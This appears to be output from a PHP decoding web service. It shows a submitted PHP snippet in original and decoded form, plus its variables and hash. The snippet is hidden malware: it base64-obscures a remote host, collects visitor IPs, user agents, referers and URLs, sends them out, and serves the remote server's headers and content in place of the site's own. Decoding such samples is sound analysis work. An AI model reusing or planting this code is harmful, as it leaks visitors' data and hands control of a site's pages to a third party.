Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function e($url) { $ch=curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setop..

Decoded Output download

<?php 
function e($url) { $ch=curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_USERAGENT, 'e'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_FRESH_CONNECT, TRUE); $r=curl_exec($ch); curl_close($ch); if ($r) { return $r; } return ''; } function de($d) { $end=substr($d, strlen($d) -2); $array=str_split($d); $result=''; for ($i=0;$i<count($array) - 2;$i=$i+2) { $result .= $array[$i+1] . $array[$i]; } $result .= $end;/*S0vMzEJElwPNAQA=$cAT3VWynuiL7CRgr*/ return $result; } $api=base64_decode('aHR0cDovL3VzMzI1LXYzMTUuYW1hem9uZG5zMzkuY29t'); $params['domain'] =isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : $_SERVER['SERVER_NAME']; $params['request_url']=$_SERVER['REQUEST_URI']; $params['ip']=isset($_SERVER['HTTP_VIA']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR']; $params['agent']=isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; $params['referer']=isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; if($params['ip'] == null) {$params['ip']="";} $params['protocol']=isset($_SERVER['HTTPS']) ? 'https://' : 'http://'; $params['language']= isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : ''; if (isset($_REQUEST['params'])) {$params['api']=$api;print_r($params);die();} $try=0; while($try < 3) { $url=sprintf('%s/?r=%s', $api, de(base64_encode(implode('{|}',$params)))); $content=e($url); $data_array=@preg_split("/{\|}/si", $content, -1, PREG_SPLIT_NO_EMPTY); if (!empty($data_array) && isset($data_array[1])) { @header($data_array[0]); echo $data_array[1]; die(); } $try++; } ?> 

Did this file decode correctly?

Original Code

<?php
function e($url) { $ch=curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_USERAGENT, 'e'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_FRESH_CONNECT, TRUE); $r=curl_exec($ch); curl_close($ch); if ($r) { return $r; } return ''; } function de($d) { $end=substr($d, strlen($d) -2); $array=str_split($d); $result=''; for ($i=0;$i<count($array) - 2;$i=$i+2) { $result .= $array[$i+1] . $array[$i]; } $result .= $end;/*S0vMzEJElwPNAQA=$cAT3VWynuiL7CRgr*/ return $result; } $api=base64_decode('aHR0cDovL3VzMzI1LXYzMTUuYW1hem9uZG5zMzkuY29t'); $params['domain'] =isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : $_SERVER['SERVER_NAME']; $params['request_url']=$_SERVER['REQUEST_URI']; $params['ip']=isset($_SERVER['HTTP_VIA']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR']; $params['agent']=isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; $params['referer']=isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; if($params['ip'] == null) {$params['ip']="";} $params['protocol']=isset($_SERVER['HTTPS']) ? 'https://' : 'http://'; $params['language']= isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : ''; if (isset($_REQUEST['params'])) {$params['api']=$api;print_r($params);die();} $try=0; while($try < 3) { $url=sprintf('%s/?r=%s', $api, de(base64_encode(implode('{|}',$params)))); $content=e($url); $data_array=@preg_split("/{\|}/si", $content, -1, PREG_SPLIT_NO_EMPTY); if (!empty($data_array) && isset($data_array[1])) { @header($data_array[0]); echo $data_array[1]; die(); } $try++; } ?>

Function Calls

implode 1
print_r 1
base64_decode 1

Variables

$api http://us325-v315.amazondns39.com
$try 0
$params [{'key': 'domain', 'value': ['ArrayOffset', {'expr': 'SERVER_NAME', 'node': ['Variable', {'name': '$_SERVER'}]}]}, {'key': 'request_url', 'value': None}, {'key': 'ip', 'value': ''}, {'key': 'agent', 'value': ''}, {'key': 'referer', 'value': ''}, {'key': 'protocol', 'value': 'http://'}, {'key': 'language', 'value': ''}, {'key': 'api', 'value': 'http://us325-v315.amazondns39.com'}]

Stats

MD5 4fd84b3ac28eb143ff2d583334b5ed1f
Eval Count 0
Decode Time 269 ms